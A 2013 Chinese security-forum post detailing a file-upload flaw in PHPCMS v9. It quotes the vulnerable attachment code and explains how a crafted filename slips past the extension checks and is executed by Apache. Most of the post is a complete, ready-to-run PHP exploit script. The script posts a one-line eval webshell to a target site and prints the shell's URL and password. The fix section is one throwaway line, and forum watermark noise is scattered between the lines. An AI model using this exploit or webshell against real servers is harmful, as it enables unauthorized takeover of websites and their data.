中国网络渗透测试联盟
标题:
PHPCMS v9 Getshell
[打印本页]
作者:
admin
时间:
2013-3-7 13:06
标题:
PHPCMS v9 Getshell
漏洞类型: 文件上传导致任意代码执行
b9 C4 Y% C) T2 ?
) I0 X! L; F5 J0 Q z$ n
简要描述:
% K7 g5 ^6 `2 E4 C& ~4 o8 Y! t. z$ }
S% b& Q& X9 e- z: R; ?
phpcms v9 getshell (apache)
, p+ n& b$ D' O, G
详细说明:
" B7 V/ I& e9 C5 H
# A, i1 N v8 H4 B6 b
漏洞文件:phpcms\modules\attachment\attachments.php
! m* U/ w6 X* w3 A" n/ N) t
) ~: R. X# P7 f _: W8 m. {
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
- n7 `2 l$ O/ u$ w# N
后缀检测:phpcms\modules\attachment\functions\global.func.php
. p( D. b, s4 U7 `& K2 m# B: a
' y( L: I, z: [% l% |: K
: ^% I# b; L& \. H
$ |% i1 }1 P; c4 S
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
6 M4 m' I! W8 o- z0 x7 A
$ V9 ?; j( f* }, ?
关键函数:
& ^. i8 a2 |4 k. E* A! p$ Y
% J; _& S/ A# ^+ `! V$ ` @
4 X* z$ d+ H7 V; d& J# w
l) \% a7 @; i( w k* s0 ]' d( m
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
& _0 A; k. F, V3 M+ `3 r
% ~9 N7 y# }% E9 t. w
Fileext函数是对文件后缀名的提取。
3 `1 ]' y* M5 O5 b# j
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
# F; C* D4 q; p% e
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
8 a& W) a5 q6 ?! Z5 [
我们回到public function crop_upload() 函数中
2 S& Z5 V! s/ U9 @$ U9 `& ?! _; ~
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
1 ?4 I4 h3 e' v# ^
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
. \! k- v8 F( l, S9 z
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
; e, R( R# o; i$ H) |5 N
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
/ `* `4 q: P; I! q* \
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
$ F$ A* x+ L% D3 S. Q: m
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
+ [9 g$ B) M& w) T; B/ x
漏洞证明:
% n* b3 E7 B. e6 i, L' S
+ p% Q3 g4 W3 U- Z d
exp:
3 }, Y8 c% x+ I, p
) x( L( H& H2 E% r9 w
<?php
2 M- g. G5 `: w1 ?8 @
error_reporting(E_ERROR);
# D! f9 U) [" H8 y$ n- C- R
set_time_limit(0);
- A9 y% T2 W! O
$pass="ln";
! u9 V; @/ P+ _" B
print_r('
5 a* d% f Y1 @, d" D) j
+---------------------------------------------------------------------------+
! F$ C7 ]. [, J
PHPCms V9 GETSHELL 0DAY
/ E/ ]" l) t% a6 o0 U
code by L.N.
q/ W/ G+ m/ X; y
. j5 S/ |$ w4 o' A. Y' c& a z# B% _
apache 适用(利用的apache的解析漏洞) // 云安全
www.yunsec.net
. M! h) U- X. ^/ @4 Y/ G# [
+---------------------------------------------------------------------------+
5 r* t9 Y4 g+ i1 K( |: l: L
');
# C- Y* `$ U7 |6 b$ }
if ($argc < 2) {
' \) w8 k1 x6 F
print_r('
$ s' v. Z! n4 ^1 U2 Q
+---------------------------------------------------------------------------+
" ]( Z, N8 {; a
Usage: php '.$argv[0].' url path
2 }% o3 m& l$ z' d) J9 X
4 K, y7 @; b" N) K& b
Example:
0 _9 P2 H a; d" E6 N& q. w
1.php '.$argv[0].' lanu.sinaapp.com
W8 R3 d5 d G( U: O. ~" ?
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
L# r2 a) K- n% F4 ~$ X V. x
+---------------------------------------------------------------------------+
% d7 a6 k9 d& X9 w6 }
');
* b9 H8 m* T# b+ x) o5 J
exit;
0 I7 f$ e) ?: n; q \+ c
}
, S" T$ w: N: b/ I5 J
6 }& `3 r6 o# }( {
$url = $argv[1];
+ }, P4 R: }) s% z/ {: E: G D6 k
$path = $argv[2];
1 A' [7 W1 z2 t( F) u6 f
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
) G9 g+ x, W Y' I% @5 h6 i& \
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
2 N7 m# _$ I. g+ B. g7 n
if($ret=Create_dir($url,$path))
. ?* s7 |1 R t# n0 D
{
- F( N$ P. U+ X4 p7 m+ X- o. g
//echo $ret;
! U$ e i; ^3 d) e0 g6 L' j# ]+ }
$pattern = "|Server:[^,]+?|U";
$ j' _5 p+ ~. ? P
preg_match_all($pattern, $ret, $matches);
. m- i# F1 ], f3 q" d, j
if($matches[0][0])
. r- t# ~; M/ R6 K# U! K! \2 \" r
{
- d+ F5 Y9 I- h& L" C5 u( s
if(strpos($matches[0][0],'Apache') == false)
- j7 z) N- T3 r# C) J4 t3 S
{
5 N; N7 p9 G! e5 `1 m& N( a$ ?5 C
echo "\n亲!此网站不是apache的网站。\n";exit;
% s' ~* U9 t- z9 ]7 {/ b- p
}
0 O9 Q2 n. ^4 ?4 ~ B8 E1 d
}
5 c! q9 c" |/ A# S7 g
$ret = GetShell($url,$phpshell,$path,$file);
8 `" V/ x+ J3 c9 J
$pattern = "|http:\/\/[^,]+?\.,?|U";
" R1 D+ Y* c5 d. }2 k0 y0 @
preg_match_all($pattern, $ret, $matches);
" j) P! V2 h, }" u: t5 L6 M8 P! b7 W
if($matches[0][0])
4 y @3 W3 {' ~' Y9 U
{
0 b) P4 P( |8 g; t% _' h/ n
echo "\n".'密码为: '.$pass."\n";
0 Q- T. v" s4 X1 A b2 c
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
1 [! C, p1 ]# R3 {
}
6 _, @2 w( e$ P1 F4 _$ I6 T
else
$ n5 O B: }1 |1 }0 w
{
5 t' e4 ]' F0 B( N5 Q T2 Y: S3 H
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
* n- n+ _- {' a& [
preg_match_all($pattern, $ret, $matches);
; g. h' W+ O; q! F( d4 t
if($matches[0][0])
9 i, [" Y& o2 G, @: K
{
# b# c6 ~# @: j `
echo "\n".'密码为: '.$pass."\n";
7 H5 Q5 V! z$ ^ D9 X: n7 c, w0 a& |
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
4 v- C" E" w7 A# ?. i
}
* C& B5 _, @' Z% W: c
else
' v! G: I* y! f1 x0 G
{
) R4 W" z! n( ^) _
echo "\r\n没得到!\n";exit;
% \ r- D" F! F- c3 G/ S& p7 L
}
% w4 A# _ k9 \- Q; T. ]8 z
}
& S- ^- Y; I$ V, U7 x
}
& C$ g( N1 e4 @- F' I& t
2 |: f5 _# o# ]1 V) n/ o
function GetShell($url,$shell,$path,$js)
! X4 m9 P( q% G
{
+ l3 t- `# v) M. T0 G% q" D+ a
$content =$shell;
9 c! K; m0 J8 h' ~8 }
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
4 _. \) _* U1 w
$data .= "Host: ".$url."\r\n";
9 y0 M4 `6 l# |' {/ n: U& Y
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
/ P/ K& D4 M/ O$ h8 _
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
; t$ f' G, ^* n
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
7 c5 }' }" J5 j$ u9 H$ ]
$data .= "Connection: close\r\n";
2 t1 U! ?6 R3 v8 R9 v5 z
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
+ H! u+ U0 I/ `' R
$data .= $content."\r\n";
! r' C: r# q1 ]* r4 R
$ock=fsockopen($url,80);
* v8 o D8 n- a2 w0 m' u
if (!$ock)
7 M: W8 l9 j3 } L& r- Z
{
& C m" T |$ u1 S- r$ W6 F1 q
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
- A. |4 O+ R( Y! K {
}
, \2 B$ \" R5 d& i& u" H, r
else
- m" |4 G8 S+ O4 B1 K
{
- \- w' o, \9 i9 M
fwrite($ock,$data);
, V3 J6 a H% v5 Y
$resp = '';
% v. [& o, V( B5 z
while (!feof($ock))
" i, E: y0 P% u) ~: n
{
- z0 ^7 {. z* v' m
$resp.=fread($ock, 1024);
8 L# A F ?# q8 [% H! X/ b
}
( N7 j; g, ~- Q* f9 |, _
return $resp;
8 \8 G6 v/ J& b4 |
}
# C8 t. p2 M% U X5 u y
}
+ r; J8 k' G' h4 @4 I |! B4 y# i
1 J& P& T/ \ _9 ^) h
function Create_dir($url,$path='')
6 n- J5 { f a3 ^) K) R- X
{
% d" G, J) J5 {
$content ='I love you';
: X, c3 J$ j" Q: ]
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
( q# D7 q, s. e% t' P" T
$data .= "Host: ".$url."\r\n";
" |6 u9 {3 D7 H" J6 S8 V
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
. M; J' `, c1 g9 {2 _0 d
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
0 o3 J; j2 B0 [$ e- W, N6 v/ Q
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
& Y3 y. G! i" m$ F. R+ h
$data .= "Connection: close\r\n";
/ [* E. D$ E& ?" U9 n+ Y
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$ w( H# Z8 d. F0 _( v9 T# l
$data .= $content."\r\n";
9 j8 q. _5 g; w3 @0 b6 }
$ock=fsockopen($url,80);
6 }0 D/ z: p, k( L
if (!$ock)
' V% M5 y# U$ o& b* F7 C4 F" [
{
. H# H/ s. W+ |! X
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
, i4 W* S1 H( G( k) g- v
}
: O, E, s7 r# R, Z9 }
fwrite($ock,$data);
6 i( c+ ]) R9 [6 N, F2 L8 r
$resp = '';
* d4 u9 v0 z* p5 f, ~
while (!feof($ock))
/ q) k: J( ^5 L0 X
{
0 x5 b7 w% d& V2 [5 k& Q) P7 t' Z, b4 n4 X
$resp.=fread($ock, 1024);
! [1 Z. e1 X: Y) U. v
}
3 B% S7 t0 X" M: t; k+ n
return $resp;
3 T5 S9 X4 C! j' C5 U
}
+ ^ W$ l" z6 F6 r, n
?>
/ Z8 |2 N5 y! j& H( V7 N1 {
) l) m1 L5 k# S. S5 ^$ A" h
修复方案:
8 M' C9 e0 v+ f: | t
4 V+ v2 H' [ o! ]
过滤过滤再过滤
! P* A7 c" H, i; @4 ?; y- h, h
& g9 i3 h/ c4 h! \' G) L- y
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2